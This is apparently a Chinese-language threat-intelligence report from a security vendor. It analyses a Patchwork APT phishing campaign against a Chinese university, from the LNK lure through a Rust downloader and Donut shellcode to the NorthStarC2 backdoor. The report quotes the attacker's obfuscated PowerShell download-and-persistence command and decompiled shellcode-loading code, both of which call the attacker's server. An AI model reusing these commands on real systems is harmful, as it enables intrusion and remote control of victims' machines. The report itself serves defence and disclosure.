2024年6月:Patchwork组织对国内高校的攻击事件报告

2024年6月:Patchwork组织对国内高校的攻击事件报告

概述

  瑞星威胁情报平台于近期捕获到一起针对国内高校的攻击事件,攻击者使用伪装成pdf文档的快捷方式作为钓鱼文档,当用户双击钓鱼文档时,会执行内置的PowerShell命令,从远程的服务器下载诱饵文档和恶意程序,接着创建计划任务实现恶意程序的持久化,恶意程序会从服务器上下载并执行开源工具Donut生成的ShellCodeShellCode会解密出最终的NorthStarC2后门。此次攻击事件和我们在去年12月发布的Patchwork组织针对我国的新能源行业的攻击事件具有高度的相似性,因此将本次捕获到的攻击行动归属于Patchwork组织。

  Patchwork组织,又名摩诃草白象APT-Q-36Dropping Elephant,是一个疑似具有南亚某政府背景的APT组织,其最早攻击活动可追溯到2009年,至今依然活跃。该组织主要针对中国、巴基斯坦、孟加拉国等亚洲地区国家,以政府、军事、电力、工业、科研教育、外交和经济等高价值机构为攻击目标。

ATT&CK 矩阵

战术 技术 具体行为
TA0002-执行 T1059-命令和脚本解释器 执行powershell命令
TA0002-执行 T1204-用户执行 需要用户主动执行
TA0003-持久化 T1053-计划任务/作业 创建计划任务定期启动恶意程序实现本地持久化
TA0005-防御规避 T1036-伪装 修改图标快捷方式伪装成pdf文档
TA0005-防御规避 T1027-混淆过的文件或信息 恶意载荷编码混淆后内嵌在执行文件内
TA0007-环境发现 T1083-枚举文件和目录 获取指定路径下目录和文件信息
TA0007-环境发现 T1057-收集进程信息 收集被入侵主机的进程列表
TA0007-环境发现 T1082-收集系统信息 收集被入侵主机的操作系统和硬件信息
TA0007-环境发现 T1016-收集系统网络配置 收集被入侵主机的MAC地址和IP地址
TA0007-环境发现 T1033-探测系统所有者/用户 收集被入侵主机的用户名
TA0009-收集信息 T1113-屏幕截图 获取屏幕截图
TA0011-指挥与控制 T1573-加密通道 通过加密算法来隐藏命令和控制流量
TA0010-外传信息 T1020-自动外传 自动发送收集到的受害者机器信息
TA0010-外传信息 T1041-通过C2通道外传 C2通道同时可以接收木马回传的受害者机器信息

攻击事件详情

  本次攻击事件是针对国内一所知名的高校,其使用了高校在5月份发布的一份通告作为诱饵文档从而实施攻击,目的很可能是为了窃取高校中的机密文件。

image

诱饵文档内容

攻击流程

  

image

攻击流程图

样本分析

1. 初始文件:2023120314221759826.pdf.lnk

字段 内容
文件大小 3.92 KB (4014 bytes)
文件MD5 b123c3d4f35813d0e1dcb65880cdf007
文件类型 LNK
病毒名 Downloader.PowerShell/LNK!1.FE64
主要功能 下载文件

  攻击者通过修改文件名和文件图标将作为初始攻击武器的快捷方式伪装成pdf文档,当用户点击快捷方式则会调用powershell.exe来执行内嵌的powershell命令,其中部分重要的指令做了简单的混淆处理,以逃避传统的字符串检测。powershell命令的功能是从hxxps://guangzhou.nihaoucloud.org/gsdgsd89iop/sdfger23ty下载诱饵文件到C:\Users\Public目录下,并且执行下载的诱饵文档来迷惑用户;同时还会从hxxps://guangzhou.nihaoucloud.org/nmityu89op/uiop9ty0er下载一个ISO文件,之后会挂载ISO文件,把E盘中的恶意文件都复制到C:\Windows\Tasks\目录下,创建一个名为EdgeUpdateTask的计划任务来实现恶意文件的持久化。

  powershell命令:

$ProgressPreference = 'SilentlyContinue';
i''w''r https://guangzhou.nihaoucloud.org/gsdgsd89iop/sdfger23ty -OutFile C:\Users\Public\21333.pdf;
s''a''p''s C:\Users\Public\21333.pdf;
i''w''r https://guangzhou.nihaoucloud.org/nmityu89op/uiop9ty0er -OutFile "C:\Windows\Tasks\Windows_22H.iso";
$hi = m''ou''nt-di''skim''age -im C:\Windows\Tasks\Windows_22H.iso;
$d = (g''et-d''iski''mage $hi.imagepath | g''et-v''olu''me).DriveLetter;
c''p''i E:\* C:\Windows\Tasks\;c''p''i 'C:\Users\Public\21333.pdf' -destination .;
sch''ta''s''ks /c''r''e''a''te /Sc minute /Tn EdgeUpdateTask /tr 'C:\Windows\Tasks\Winver';
Di''smou''nt-Dis''kIm''age -im C:\Windows\Tasks\Windows_22H.iso;
e''ra''se C:\Windows\Tasks\*.i?o;
e''r''a''s''e *d?.?n?

2. ShellCode下载器:Winver.exe

字段 内容
原始文件名 Winver.exe
文件大小 2.19 MB (2298368 bytes)
文件MD5 832c4a646713f12cc1d21609ac5f25b7
文件类型 EXE
病毒名 Downloader.[Patchwork]Agent!1.FDAB
主要功能 下载并执行ShellCode

  该程序是由rust语言编写的一个下载器,由计划任务启动执行后,会从hxxps://guangzhou.nihaoucloud.org/sturye34opl下载名为hytda32.binShellCode,把下载的ShellCode复制到VirtualAlloc函数申请的空间中,创建一个纤程执行ShellCode

v631[0] = (volatile signed __int64 *)v63;
v631[1] = (volatile signed __int64 *)30;
v632 = 0;
sub_1401213D0(v624, "https://guangzhou.nihaoucloud.org/sturye34opl/hytda32.bin [-]VirtualProtect failed: ", 58i64);
*(_QWORD *)&v67 = v624[0].m128i_i64[0];
v68 = 0x8000000000000000ui64;
v69 = __OFSUB__(v624[0].m128i_i64[0], 0x8000000000000000ui64);
v361 = ConvertThreadToFiber(0i64);
v362 = VirtualAlloc(0i64, v350.m128i_u64[0], 0x3000u, 4u);
v643[0].m128i_i32[0] = 4;
memmove(v362, (const void *)v533, v350.m128i_u64[0]);
if ( !VirtualProtect(v362, v350.m128i_u64[0], 0x10u, (PDWORD)v643) )
 {
    v613[0].m128i_i32[0] = GetLastError();
    v636[0] = v613;
    v636[1] = sub_140014950;
    v624[0].m128i_i64[0] = (__int64)&off_140176B70;
    v624[0].m128i_i64[1] = 2i64;
    v624[2].m128i_i64[0] = 0i64;
    v624[1].m128i_i64[0] = (__int64)v636;
    v624[1].m128i_i64[1] = 1i64;
    sub_14016BD20((__int64)v624, (__int64)&off_140176B90);
 }
Fiber = CreateFiber(0i64, (LPFIBER_START_ROUTINE)v362, 0i64);
SwitchToFiber(Fiber);
SwitchToFiber(v361);
if ( v350.m128i_i64[0] )
    HeapFree(hHeap, 0, (LPVOID)v533);
return;

3. ShellCode:DonutLoader

字段 内容
原始文件名 hytda32.bin
文件大小 56.96 KB (58325 bytes)
文件MD5 94b75ac25fe7a2ca189418413f4b6699
病毒名 Trojan.DonutLoader!1.E39F
主要功能 内存执行远控木马

  内存中执行的ShellCode是由开源项目Donut生成,该工具支持将.net程序集转换为一段可在内存任意位置执行的ShellCode

  解码算法如下,使用内嵌的两个密钥经过计算得到最终的解码密钥,最后循环解码数据。

if ( a4 )
{
    v4 = a1 - (_QWORD)v26;
    do
    {
        if ( v26 > (_OWORD *)((char *)a2 + 15) || (_OWORD *)((char *)v26 + 15) < a2 )
            v26[0] = *a2;
        else
            v26[0] = *a2;
        v6 = v26;
        v7 = 4i64;
        do
        {
            *v6 ^= *(_DWORD *)((char *)v6 + v4);
            ++v6;
            --v7;
        }
        while ( v7 );
        v8 = HIDWORD(v26[0]);
        v9 = 16i64;
        v10 = DWORD2(v26[0]);
        v11 = DWORD1(v26[0]);
        v12 = v26[0];
        do
        {
            v13 = v11 + v12;
            v14 = v8 + v10;
            v15 = v13 ^ __ROL4__(v11, 5);
            v16 = v14 ^ __ROL4__(v8, 8);
            v17 = v15 + v14;
            v12 = v16 + __ROL4__(v13, 16);
            v11 = v17 ^ __ROL4__(v15, 7);
            v8 = v12 ^ __ROL4__(v16, 13);
            v10 = __ROL4__(v17, 16);
            --v9;
        }
        while ( v9 );
        HIDWORD(v26[0]) = v8;
        v18 = 4i64;
        *(_QWORD *)&v26[0] = __PAIR64__(v11, v12);
        v19 = v26;
        DWORD2(v26[0]) = v10;
        do
        {
            *v19 ^= *(_DWORD *)((char *)v19 + v4);
            ++v19;
            --v18;
        }
        while ( v18 );
        v20 = a4;
        if ( a4 > 0x10 )
            v20 = 16;
        v21 = a3;
        v22 = v20;
        do
        {
            *v21 ^= v21[(char *)v26 - a3];
            ++v21;
            --v22;
        }
        while ( v22 );
        a4 -= v20;
        v23 = 16;
        a3 += v20;
        do
        {
            v24 = (unsigned int)(v23 - 1);
            if ( (*((_BYTE *)a2 + v24))++ != 0xFF )
                break;
            --v23;
        }
        while ( v23 > 0 );
    }
    while ( a4 );
}

  解码后使用函数CoCreateInstanceCorBindToRuntime在非托管的程序中实例化CLR托管接口,最终加载执行.net程序集。

image

4. NorthStarC2后门:Toolthless.exe

字段 内容
原始文件名 Toolthless.exe
文件大小 27.5 KB (28,160 bytes)
文件MD5 d57a44202a5b3155bd91ecf13ec4e726
文件类型 EXE
病毒名 Backdoor.NorthStar!1.E66A
主要功能 远控木马

  NorthStarC2是一个开源的命令和控制框架,其主要的功能是上传主机相关的信息,执行下发的指令。

  _registerSecondStage函数会获取受害机的MAC地址和主机名,公网IP,UserName,当前进程PID,当前路径等数据,把获取到的数据进行Base64编码后再进行RC4加密,再次进行Base64编码,把编码后的数据分别与指定的字符进行拼接,最后发送请求。

string text = new processCommand(enumed).ipd();
initialEnum abc = enumed;
string uqid = enumed.uqid;
OperatingSystem osversion = Environment.OSVersion;
string text2 = this.lo.hello(this.chiperObj._base64encode(this.chiperObj._xorOps(enumed.os, enumed.xorKey)));
string text3 = this.lo.hello(this.chiperObj._base64encode(this.chiperObj._xorOps(enumed.macname, enumed.xorKey)));
string text4 = this.lo.hello(this.chiperObj._base64encode(this.chiperObj._xorOps(enumed.usname, enumed.xorKey)));
string text5 = this.lo.hello(this.chiperObj._base64encode(this.chiperObj._xorOps(enumed.exepath, enumed.xorKey)));
string text6 = this.lo.hello(this.chiperObj._base64encode(this.chiperObj._xorOps(enumed.admin.ToString(), enumed.xorKey)));
string text7 = this.lo.hello(this.chiperObj._base64encode(this.chiperObj._xorOps(enumed.procid.ToString(), enumed.xorKey)));
string text8 = this.lo.hello(this.chiperObj._base64encode(this.chiperObj._xorOps(enumed.clientID, "eOvstoxSBbZGWsTtknc")));
string text9 = this.lo.hello(this.chiperObj._base64encode   (this.chiperObj._xorOps(text, "eOvstoxSBbZGWsTtknc")));

  拼接的字符对应的信息如下表:

字符 内容
uqid uuid
os 系统的信息
macnm MAC地址和主机名
users UserName
wdir 当前所在路径
procid 当前PID
admi 是否是管理员权限
simpleid 客户端ID
ippublic 当前设备的公网 IP 地址

  然后会获取服务端发送过来的指令,使用自定义的解密算法对数据进行解密,再使用base64进行解码得到要执行的指令。

其指令功能表如下:

指令 功能
die 结束客户端运行
ping 返回字符串"pong"
pwd 获取当前工作目录
cd 设置指定的新工作目录
rm、del 删除指定文件
whoami 获取当前用户名
dir、ls 枚举工作目录中的文件
ipconfig、ifconfig 获取IP地址
cat、type 获取指定文件内容
waittime、wait、responsetime、timer 设置睡眠时间
screenshot、schot 屏幕截屏
upload、uploadfile 下载文件
ps、process、processes 获取进程列表
enabledcmd、enable、cmd 启动命令行模式
inmen 内存中执行服务器传输的ShellCode
download、get 上传本地文件
downexe 执行服务器下载的exe程序
lksfjdgjkxv 执行接收的cmd命令

关联分析

关联事件

  这次的攻击事件和去年12月份我们报道Patchwork对国内新能源行业攻击事件的手法很相似,都是以.lnk文件进行钓鱼,最终使用NorthStarC2后门执行相应的指令。其不同之处在于第二阶段ShellCode的获取,去年是以解密内置资源的方式得到ShellCode,而本次是从第一阶段服务器上直接下载ShellCode之后在内存中执行。

攻击过程可视化(EDR)

  瑞星EDR的威胁调查功能为恶意代码的溯源分析提供可视化的应用程序关系图,它可从任意事件或关键元素进行溯源并梳理攻击过程,定位恶意代码活动的关键链条。结合AI对攻击流程进行精准分析,全方位还原恶意代码如何从攻击面入侵、主机内如何持续性活动的完整攻击链。

  因为服务器已经失效,所以可视化攻击流程分为多个部分。

image

image

image

image

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本。

image

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    b123c3d4f35813d0e1dcb65880cdf007
    832c4a646713f12cc1d21609ac5f25b7
    94b75ac25fe7a2ca189418413f4b6699
    d57a44202a5b3155bd91ecf13ec4e726
  • URL

    hxxps://guangzhou.nihaoucloud.org/gsdgsd89iop/sdfger23ty
    hxxps://guangzhou.nihaoucloud.org/nmityu89op/uiop9ty0er
    hxxps://guangzhou.nihaoucloud.org/sturye34opl/hytda32.bin
    hxxps://remitmetahk.org/Z3JV1zIm5nMjVss/Sf7RkFIMei1oosX.php
  • Domain

    guangzhou.nihaoucloud.org
    remitmetahk.org
  • 瑞星病毒名

    Downloader.[Patchwork]Agent!1.FDAB

参考链接

Author